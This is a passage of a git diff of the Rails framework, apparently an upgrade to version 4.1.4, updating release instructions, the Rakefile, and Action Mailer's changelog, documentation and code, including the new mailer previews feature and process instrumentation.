     $ git commit -am'updating RAILS_VERSION'
-    $ git tag -m'tagging rc release' v3.0.10.rc1
+    $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
     $ git push
     $ git push --tags
-    $ for i in $(ls dist); do gem push $i; done
+    $ for i in $(ls pkg); do gem push $i; done
 
 === Send Rails release announcements
 
@@ -203,34 +203,3 @@ There are two simple steps for fixing the CI:
 2. Fix it
 
 Repeat these steps until the CI is green.
-
-=== Manually trigger docs generation
-
-We have a post-receive hook in GitHub that calls the docs server on pushes.
-It triggers generation and publication of edge docs, updates the contrib app,
-and generates and publishes stable docs if a new stable tag is detected.
-
-The hook unfortunately is not invoked by tag pushing, so once the new stable
-tag has been pushed to origin, please run
-
-    rake publish_docs
-
-You should see something like this:
-
-    Rails master hook tasks scheduled:
-
-      * updates the local checkout
-      * updates Rails Contributors
-      * generates and publishes edge docs
-
-    If a new stable tag is detected it also
-
-      * generates and publishes stable docs
-
-    This needs typically a few minutes.
-
-Note you do not need to specify the tag, the docs server figures it out.
-
-Also, don't worry if you call that multiple times or the hook is triggered
-again by some immediate regular push, if the scripts are running new calls
-are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index a87e1a7..0737afd 100644
--- a/Rakefile
+++ b/Rakefile
@@ -8,10 +8,10 @@ require 'railties/lib/rails/api/task'
 desc "Build gem files for all projects"
 task :build => "all:build"
 
-desc "Release all gems to gemcutter and create a tag"
+desc "Release all gems to rubygems and create a tag"
 task :release => "all:release"
 
-PROJECTS = %w(activesupport activemodel actionpack actionmailer activerecord railties)
+PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties)
 
 desc 'Run all tests by default'
 task :default => %w(test test:isolated)
@@ -45,35 +45,9 @@ else
   Rails::API::StableTask.new('rdoc')
 end
 
-desc 'Bump all versions to match version.rb'
-task :update_versions do
-  require File.dirname(__FILE__) + "/version"
+desc 'Bump all versions to match RAILS_VERSION'
+task :update_versions => "all:update_versions"
 
-  File.open("RAILS_VERSION", "w") do |f|
-    f.puts Rails.version
-  end
-
-  constants = {
-    "activesupport"   => "ActiveSupport",
-    "activemodel"     => "ActiveModel",
-    "actionpack"      => "ActionPack",
-    "actionmailer"    => "ActionMailer",
-    "activerecord"    => "ActiveRecord",
-    "railties"        => "Rails"
-  }
-
-  version_file = File.read("version.rb")
-
-  PROJECTS.each do |project|
-    Dir["#{project}/lib/*/version.rb"].each do |file|
-      File.open(file, "w") do |f|
-        f.write version_file.gsub(/Rails/, constants[project])
-      end
-    end
-  end
-end
-
-#
 # We have a webhook configured in GitHub that gets invoked after pushes.
 # This hook triggers the following tasks:
 #
@@ -83,11 +57,6 @@ end
 #   * if there's a new stable tag, generates and publishes stable docs
 #
 # Everything is automated and you do NOT need to run this task normally.
-#
-# We publish a new version by tagging, and pushing a tag does not trigger
-# that webhook. Stable docs would be updated by any subsequent regular
-# push, but if you want that to happen right away just run this.
-#
 desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
 task :publish_docs do
   Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index fef8aac..c14e911 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,70 +1,83 @@
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   Invoke mailer defaults as procs only if they are procs, do not convert
-    with `to_proc`. That an object is convertible to a proc does not mean it's
-    meant to be always used as a proc.
+*   No changes.
 
-    Fixes #11533.
 
-    *Alex Tsukernik*
+## Rails 4.1.3 (July 2, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.2 (June 26, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.1 (May 6, 2014) ##
+
+*   No changes.
+
 
+## Rails 4.1.0 (April 8, 2014) ##
 
-## Rails 4.0.0 (June 25, 2013) ##
+*   Support the use of underscored symbols when registering interceptors and
+    observers like we do elsewhere within Rails.
 
-*   Allow passing interpolations to `#default_i18n_subject`, e.g.:
+    *Andrew White*
 
-        # config/locales/en.yml
-        en:
-          user_mailer:
-            welcome:
-              subject: 'Hello, %{username}'
+*   Add the ability to intercept emails before previewing in a similar fashion
+    to how emails can be intercepted before delivery.
 
-        # app/mailers/user_mailer.rb
-        class UserMailer < ActionMailer::Base
-          def welcome(user)
-            mail(subject: default_i18n_subject(username: user.name))
+    Fixes #13622.
+
+    Example:
+
+        class CSSInlineStyler
+          def self.previewing_email(message)
+            # inline CSS styles
           end
         end
 
-    *Olek Janiszewski*
+        ActionMailer::Base.register_preview_interceptor CSSInlineStyler
 
-*   Eager loading made to use relation's `in_clause_length` instead of host's one.
-    Fixes #8474.
+    *Andrew White*
 
-    *Boris Staal*
+*   Add mailer previews feature based on 37 Signals mail_view gem.
 
-*   Explicit multipart messages no longer set the order of the MIME parts.
+    *Andrew White*
 
-    *Nate Berkopec*
+*   Calling `mail()` without arguments serves as getter for the current mail
+    message and keeps previously set headers.
 
-*   Do not render views when `mail` isn't called. Fixes #7761.
+    Fixes #13090.
 
-    *Yves Senn*
+    Example:
 
-*   Allow delivery method options to be set per mail instance.
+        class MailerWithCallback < ActionMailer::Base
+          after_action :a_callback
 
-    If your SMTP delivery settings are dynamic, you can now override settings
-    per mail instance for e.g.
+          def welcome
+            mail subject: "subject", to: ["joe at example.com"]
+          end
 
-        def my_mailer(user, company)
-          mail to: user.email, subject: "Welcome!",
-               delivery_method_options: { user_name: company.smtp_user,
-                                          password: company.smtp_password }
+          def a_callback
+            mail # => returns the current mail message
+          end
         end
 
-    This will ensure that your default SMTP settings will be overridden
-    by the company specific ones. You only have to override the settings
-    that are dynamic and leave the static setting in your environment
-    configuration file (e.g. `config/environments/production.rb`).
+    *Yves Senn*
+
+*   Instrument the generation of Action Mailer messages. The time it takes to
+    generate a message is written to the log.
 
-    *Aditya Sanghi*
+    *Daniel Schierbeck*
 
-*   Allow to set default Action Mailer options via `config.action_mailer.default_options=`. *Robert Pankowecki*
+*   Invoke mailer defaults as procs only if they are procs, do not convert with
+    `to_proc`. That an object is convertible to a proc does not mean it's meant
+    to be always used as a proc.
 
-*   Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
+    Fixes #11533.
 
-*   Allow callbacks to be defined in mailers similar to `ActionController::Base`. You can configure default
-    settings, headers, attachments, delivery settings or change delivery using
-    `before_filter`, `after_filter`, etc. *Justin S. Leitgeb*
+    *Alex Tsukernik*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionmailer/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 5c668d9..d58dd9e 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index a02ea86..bd571ce 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -61,9 +61,7 @@ generated would look like this:
 
   Thank you for signing up!
 
-In previous version of Rails you would call <tt>create_method_name</tt> and
-<tt>deliver_method_name</tt>.  Rails 3.0 has a much simpler interface - you
-simply call the method and optionally call +deliver+ on the return value.
+In order to send mails, you simply call the method and then call +deliver+ on the return value.
 
 Calling the method returns a Mail Message object:
 
@@ -76,7 +74,7 @@ Or you can just chain the methods together like:
 
 == Setting defaults
 
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't [...]
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from <tt>ActionMailer::Base</tt>. This method accepts a Hash as the parameter. You can use any of the headers email messages have, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so  [...]
 
 Note that every value you set with this method will get overwritten if you use the same key in your mailer method.
 
@@ -142,7 +140,7 @@ The latest version of Action Mailer can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub
 
-* https://github.com/rails/rails/tree/4-0-stable/actionmailer
+* https://github.com/rails/rails/tree/4-1-stable/actionmailer
 
 
 == License
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index 45c238d..5ddd900 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -1,5 +1,4 @@
 require 'rake/testtask'
-require 'rake/packagetask'
 require 'rubygems/package_task'
 
 desc "Default Task"
@@ -15,9 +14,8 @@ Rake::TestTask.new { |t|
 
 namespace :test do
   task :isolated do
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
     Dir.glob("test/**/*_test.rb").all? do |file|
-      sh(ruby, '-Ilib:test', file)
+      sh(Gem.ruby, '-w', '-Ilib:test', file)
     end or raise "Failures"
   end
 end
@@ -28,7 +26,7 @@ Gem::PackageTask.new(spec) do |p|
   p.gem_spec = spec
 end
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task release: :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index c56b697..9b25fea 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -20,6 +20,7 @@ Gem::Specification.new do |s|
   s.requirements << 'none'
 
   s.add_dependency 'actionpack', version
+  s.add_dependency 'actionview', version
 
   s.add_dependency 'mail', '~> 2.5.4'
 end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index c45124b..83969d4 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -22,7 +22,6 @@
 #++
 
 require 'abstract_controller'
-require 'action_view'
 require 'action_mailer/version'
 
 # Common Active Support usage in Action Mailer
@@ -42,6 +41,8 @@ module ActionMailer
   autoload :Base
   autoload :DeliveryMethods
   autoload :MailHelper
+  autoload :Preview
+  autoload :Previews, 'action_mailer/preview'
   autoload :TestCase
   autoload :TestHelper
 end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 9d612db..18a41ba 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -3,6 +3,7 @@ require 'action_mailer/collector'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/module/anonymous'
+
 require 'action_mailer/log_subscriber'
 
 module ActionMailer
@@ -49,8 +50,8 @@ module ActionMailer
   #
   # * <tt>mail</tt> - Allows you to specify email to be sent.
   #
-  # The hash passed to the mail method allows you to specify any header that a Mail::Message
-  # will accept (any valid Email header including optional fields).
+  # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+  # will accept (any valid email header including optional fields).
   #
   # The mail method, if not passed a block, will inspect your views and send all the views with
   # the same name as the method, so the above action would send the +welcome.text.erb+ view
@@ -151,9 +152,9 @@ module ActionMailer
   #
   # For example, if the following templates exist:
   # * signup_notification.text.erb
-  # * signup_notification.text.html.erb
-  # * signup_notification.text.xml.builder
-  # * signup_notification.text.yaml.erb
+  # * signup_notification.html.erb
+  # * signup_notification.xml.builder
+  # * signup_notification.yaml.erb
   #
   # Each would be rendered and added as a separate part to the message, with the corresponding content
   # type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
@@ -175,7 +176,7 @@ module ActionMailer
   #     end
   #   end
   #
-  # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.text.html.erb</tt>
+  # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.html.erb</tt>
   # template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts,
   # the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside,
   # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
@@ -228,7 +229,7 @@ module ActionMailer
   # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
   # called before the email is sent, allowing you to make modifications to the email before it hits
   # the delivery agents. Your class should make any needed modifications directly to the passed
-  # in Mail::Message instance.
+  # in <tt>Mail::Message</tt> instance.
   #
   # = Default Hash
   #
@@ -307,6 +308,43 @@ module ActionMailer
   # Note that unless you have a specific reason to do so, you should prefer using before_action
   # rather than after_action in your ActionMailer classes so that headers are parsed properly.
   #
+  # = Previewing emails
+  #
+  # You can preview your email templates visually by adding a mailer preview file to the
+  # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+  # with database data, you'll need to write some scenarios to load messages with fake data:
+  #
+  #   class NotifierPreview < ActionMailer::Preview
+  #     def welcome
+  #       Notifier.welcome(User.first)
+  #     end
+  #   end
+  #
+  # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+  # method without the additional <tt>deliver</tt>. The location of the mailer previews
+  # directory can be configured using the <tt>preview_path</tt> option which has a default
+  # of <tt>test/mailers/previews</tt>:
+  #
+  #     config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+  #
+  # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+  # on a running development server instance.
+  #
+  # Previews can also be intercepted in a similar manner as deliveries can be by registering
+  # a preview interceptor that has a <tt>previewing_email</tt> method:
+  #
+  #   class CssInlineStyler
+  #     def self.previewing_email(message)
+  #       # inline CSS styles
+  #     end
+  #   end
+  #
+  #   config.action_mailer.register_preview_interceptor :css_inline_styler
+  #
+  # Note that interceptors need to be registered both with <tt>register_interceptor</tt>
+  # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
+  # previewing emails.
+  #
   # = Configuration options
   #
   # These options are specified on the class level, like
@@ -316,7 +354,7 @@ module ActionMailer
   #   per the above section.
   #
   # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
-  #   Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+  #   Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
   #
   # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
   #   * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
@@ -334,8 +372,9 @@ module ActionMailer
   #     and starts to use it.
   #   * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
   #     really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
-  #     of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the
-  #     constant  (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER, ...).
+  #     of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>,
+  #     <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>,
+  #     <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...).
   #
   # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
   #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -350,7 +389,7 @@ module ActionMailer
   #
   # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
   #   <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
-  #   object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+  #   object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
   #   implement for a custom delivery agent.
   #
   # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
@@ -361,17 +400,25 @@ module ActionMailer
   #   <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
   class Base < AbstractController::Base
     include DeliveryMethods
+    include Previews
+
     abstract!
 
-    include AbstractController::Logger
     include AbstractController::Rendering
-    include AbstractController::Layouts
+
+    include AbstractController::Logger
     include AbstractController::Helpers
     include AbstractController::Translation
     include AbstractController::AssetPaths
     include AbstractController::Callbacks
 
-    self.protected_instance_variables = [:@_action_has_layout]
+    include ActionView::Layouts
+
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
 
     helper ActionMailer::MailHelper
 
@@ -397,27 +444,47 @@ module ActionMailer
       end
 
       # Register an Observer which will be notified when mail is delivered.
-      # Either a class or a string can be passed in as the Observer. If a string is passed in
-      # it will be <tt>constantize</tt>d.
+      # Either a class, string or symbol can be passed in as the Observer.
+      # If a string or symbol is passed in it will be camelized and constantized.
       def register_observer(observer)
-        delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
+        delivery_observer = case observer
+          when String, Symbol
+            observer.to_s.camelize.constantize
+          else
+            observer
+          end
+
         Mail.register_observer(delivery_observer)
       end
 
       # Register an Interceptor which will be called before mail is sent.
-      # Either a class or a string can be passed in as the Interceptor. If a string is passed in
-      # it will be <tt>constantize</tt>d.
+      # Either a class, string or symbol can be passed in as the Interceptor.
+      # If a string or symbol is passed in it will be camelized and constantized.
       def register_interceptor(interceptor)
-        delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor)
+        delivery_interceptor = case interceptor
+          when String, Symbol
+            interceptor.to_s.camelize.constantize
+          else
+            interceptor
+          end
+
         Mail.register_interceptor(delivery_interceptor)
       end
 
+      # Returns the name of current mailer. This method is also being used as a path for a view lookup.
+      # If this is an anonymous mailer, this method will return +anonymous+ instead.
       def mailer_name
         @mailer_name ||= anonymous? ? "anonymous" : name.underscore
       end
+      # Allows to set the name of current mailer.
       attr_writer :mailer_name
       alias :controller_path :mailer_name
 
+      # Sets the defaults through app configuration:
+      #
+      #     config.action_mailer.default { from: "no-reply at example.org" }
+      #
+      # Aliased by ::default_options=
       def default(value = nil)
         self.default_params = default_params.merge(value).freeze if value
         default_params
@@ -429,13 +496,15 @@ module ActionMailer
 
       # Receives a raw email, parses it into an email object, decodes it,
       # instantiates a new mailer, and passes the email object to the mailer
-      # object's +receive+ method. If you want your mailer to be able to
-      # process incoming messages, you'll need to implement a +receive+
-      # method that accepts the raw email string as a parameter:
+      # object's +receive+ method.
+      #
+      # If you want your mailer to be able to process incoming messages, you'll
+      # need to implement a +receive+ method that accepts the raw email string
+      # as a parameter:
       #
       #   class MyMailer < ActionMailer::Base
       #     def receive(mail)
-      #       ...
+      #       # ...
       #     end
       #   end
       def receive(raw_mail)
@@ -446,10 +515,12 @@ module ActionMailer
         end
       end
 
-      # Wraps an email delivery inside of Active Support Notifications instrumentation. This
-      # method is actually called by the <tt>Mail::Message</tt> object itself through a callback
-      # when you call <tt>:deliver</tt> on the Mail::Message, calling +deliver_mail+ directly
-      # and passing a Mail::Message will do nothing except tell the logger you sent the email.
+      # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
+      #
+      # This method is actually called by the <tt>Mail::Message</tt> object itself
+      # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+      # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
+      # nothing except tell the logger you sent the email.
       def deliver_mail(mail) #:nodoc:
         ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
           set_payload_for_mail(payload, mail)
@@ -475,7 +546,7 @@ module ActionMailer
         payload[:mail]       = mail.encoded
       end
 
-      def method_missing(method_name, *args)
+      def method_missing(method_name, *args) # :nodoc:
         if respond_to?(method_name)
           new(method_name, *args).message
         else
@@ -497,11 +568,18 @@ module ActionMailer
       process(method_name, *args) if method_name
     end
 
-    def process(*args) #:nodoc:
-      lookup_context.skip_default_locale!
+    def process(method_name, *args) #:nodoc:
+      payload = {
+        mailer: self.class.name,
+        action: method_name
+      }
+
+      ActiveSupport::Notifications.instrument("process.action_mailer", payload) do
+        lookup_context.skip_default_locale!
 
-      super
-      @_message = NullMail.new unless @_mail_was_called
+        super
+        @_message = NullMail.new unless @_mail_was_called
+      end
     end
 
     class NullMail #:nodoc:
@@ -512,22 +590,23 @@ module ActionMailer
       end
     end
 
+    # Returns the name of the mailer object.
     def mailer_name
       self.class.mailer_name
     end
 
-    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt> object
-    # which will add them to itself.
+    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
+    # object which will add them to itself.
     #
     #   headers['X-Special-Domain-Specific-Header'] = "SecretValue"
     #
-    # You can also pass a hash into headers of header field names and values, which
-    # will then be set on the Mail::Message object:
+    # You can also pass a hash into headers of header field names and values,
+    # which will then be set on the <tt>Mail::Message</tt> object:
     #
     #   headers 'X-Special-Domain-Specific-Header' => "SecretValue",
     #           'In-Reply-To' => incoming.message_id
     #
-    # The resulting Mail::Message will have the following in its header:
+    # The resulting <tt>Mail::Message</tt> will have the following in its header:
     #
     #   X-Special-Domain-Specific-Header: SecretValue
     def headers(args = nil)
@@ -578,22 +657,22 @@ module ActionMailer
     # Both methods accept a headers hash. This hash allows you to specify the most used headers
     # in an email message, these are:
     #
-    # * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will
-    #   ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of
+    # * +:subject+ - The subject of the message, if this is omitted, Action Mailer will
+    #   ask the Rails I18n class for a translated +:subject+ in the scope of
     #   <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
-    #   humanized version of the <tt>action_name</tt>
-    # * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array
+    #   humanized version of the +action_name+
+    # * +:to+ - Who the message is destined for, can be a string of addresses, or an array
     #   of addresses.
-    # * <tt>:from</tt> - Who the message is from
-    # * <tt>:cc</tt> - Who you would like to Carbon-Copy on this email, can be a string of addresses,
+    # * +:from+ - Who the message is from
+    # * +:cc+ - Who you would like to Carbon-Copy on this email, can be a string of addresses,
     #   or an array of addresses.
-    # * <tt>:bcc</tt> - Who you would like to Blind-Carbon-Copy on this email, can be a string of
+    # * +:bcc+ - Who you would like to Blind-Carbon-Copy on this email, can be a string of
     #   addresses, or an array of addresses.
-    # * <tt>:reply_to</tt> - Who to set the Reply-To header of the email to.
-    # * <tt>:date</tt> - The date to say the email was sent on.
+    # * +:reply_to+ - Who to set the Reply-To header of the email to.
+    # * +:date+ - The date to say the email was sent on.
     #
-    # You can set default values for any of the above headers (except :date) by using the <tt>default</tt>
-    # class method:
+    # You can set default values for any of the above headers (except +:date+)
+    # by using the ::default class method:
     #
     #  class Notifier < ActionMailer::Base
     #    default from: 'no-reply at test.lindsaar.net',
@@ -605,22 +684,24 @@ module ActionMailer
     # as part of the headers hash or use the <tt>headers['name'] = value</tt>
     # method.
     #
-    # When a <tt>:return_path</tt> is specified as header, that value will be used as the 'envelope from'
-    # address for the Mail message. Setting this is useful when you want delivery notifications
-    # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the
-    # <tt>:return_path</tt> in preference to the <tt>:sender</tt> in preference to the <tt>:from</tt>
-    # field for the 'envelope from' value.
+    # When a +:return_path+ is specified as header, that value will be used as
+    # the 'envelope from' address for the Mail message. Setting this is useful
+    # when you want delivery notifications sent to a different address than the
+    # one in +:from+. Mail will actually use the +:return_path+ in preference
+    # to the +:sender+ in preference to the +:from+ field for the 'envelope
+    # from' value.
     #
-    # If you do not pass a block to the +mail+ method, it will find all templates in the
-    # view paths using by default the mailer name and the method name that it is being
-    # called from, it will then create parts for each of these templates intelligently,
-    # making educated guesses on correct content type and sequence, and return a fully
-    # prepared Mail::Message ready to call <tt>:deliver</tt> on to send.
+    # If you do not pass a block to the +mail+ method, it will find all
+    # templates in the view paths using by default the mailer name and the
+    # method name that it is being called from, it will then create parts for
+    # each of these templates intelligently, making educated guesses on correct
+    # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+    # ready to call <tt>:deliver</tt> on to send.
     #
     # For example:
     #
     #   class Notifier < ActionMailer::Base
-    #     default from: 'no-reply at test.lindsaar.net',
+    #     default from: 'no-reply at test.lindsaar.net'
     #
     #     def welcome
     #       mail(to: 'mikel at test.lindsaar.net')
@@ -643,15 +724,15 @@ module ActionMailer
     #     format.html
     #   end
     #
-    # You can even render text directly without using a template:
+    # You can even render plain text directly without using a template:
     #
     #   mail(to: 'mikel at test.lindsaar.net') do |format|
-    #     format.text { render text: "Hello Mikel!" }
-    #     format.html { render text: "<h1>Hello Mikel!</h1>" }
+    #     format.text { render plain: "Hello Mikel!" }
+    #     format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
     #   end
     #
-    # Which will render a <tt>multipart/alternative</tt> email with <tt>text/plain</tt> and
-    # <tt>text/html</tt> parts.
+    # Which will render a +multipart/alternative+ email with +text/plain+ and
+    # +text/html+ parts.
     #
     # The block syntax also allows you to customize the part headers if desired:
     #
@@ -661,6 +742,8 @@ module ActionMailer
     #   end
     #
     def mail(headers = {}, &block)
+      return @_message if @_mail_was_called && headers.blank? && !block
+
       @_mail_was_called = true
       m = @_message
 
@@ -668,9 +751,9 @@ module ActionMailer
       content_type = headers[:content_type]
 
       # Call all the procs (if any)
-      class_default = self.class.default
-      default_values = class_default.merge(class_default) do |k,v|
-        v.is_a?(Proc) ? instance_eval(&v) : v
+      default_values = {}
+      self.class.default.each do |k,v|
+        default_values[k] = v.is_a?(Proc) ? instance_eval(&v) : v
       end
 
       # Handle defaults
@@ -681,7 +764,7 @@ module ActionMailer
       m.charset = charset = headers[:charset]
 
       # Set configure delivery behavior
-      wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
+      wrap_delivery_behavior!(headers.delete(:delivery_method), headers.delete(:delivery_method_options))
 
       # Assign all headers except parts_order, content_type and body
       assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
@@ -705,6 +788,15 @@ module ActionMailer
 
   protected
 
+    # Used by #mail to set the content type of the message.
+    #
+    # It will use the given +user_content_type+, or multipart if the mail
+    # message has any attachments. If the attachments are inline, the content
+    # type will be "multipart/related", otherwise "multipart/mixed".
+    #
+    # If there is no content type passed in via headers, and there are no
+    # attachments, or the message is multipart, then the default content type is
+    # used.
     def set_content_type(m, user_content_type, class_default)
       params = m.content_type_parameters || {}
       case
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index b1ef0a7..aedcd81 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -38,6 +38,7 @@ module ActionMailer
       add_delivery_method :test, Mail::TestMailer
     end
 
+    # Helpers for creating and wrapping delivery behavior, used by DeliveryMethods.
     module ClassMethods
       # Provides a list of emails that have been delivered by Mail::TestMailer
       delegate :deliveries, :deliveries=, to: Mail::TestMailer
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
new file mode 100644
index 0000000..abd294f
--- /dev/null
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionMailer
+  # Returns the version of the currently loaded ActionMailer as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index 3fe6475..eb6fb11 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -1,5 +1,10 @@
+require 'active_support/log_subscriber'
+
 module ActionMailer
+  # Implements the ActiveSupport::LogSubscriber for logging notifications when
+  # email is delivered and received.
   class LogSubscriber < ActiveSupport::LogSubscriber
+    # An email was delivered.
     def deliver(event)
       return unless logger.info?
       recipients = Array(event.payload[:to]).join(', ')
@@ -7,12 +12,21 @@ module ActionMailer
       debug(event.payload[:mail])
     end
 
+    # An email was received.
     def receive(event)
       return unless logger.info?
       info("\nReceived mail (#{event.duration.round(1)}ms)")
       debug(event.payload[:mail])
     end
 
+    # An email was generated.
+    def process(event)
+      mailer = event.payload[:mailer]
+      action = event.payload[:action]
+      debug("\n#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms")
+    end
+
+    # Use the logger configured for ActionMailer::Base
     def logger
       ActionMailer::Base.logger
     end
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index ec84256..54ad9f0 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,4 +1,7 @@
 module ActionMailer
+  # Provides helper methods for ActionMailer::Base that can be used for easily
+  # formatting messages, accessing mailer or message instances, and the
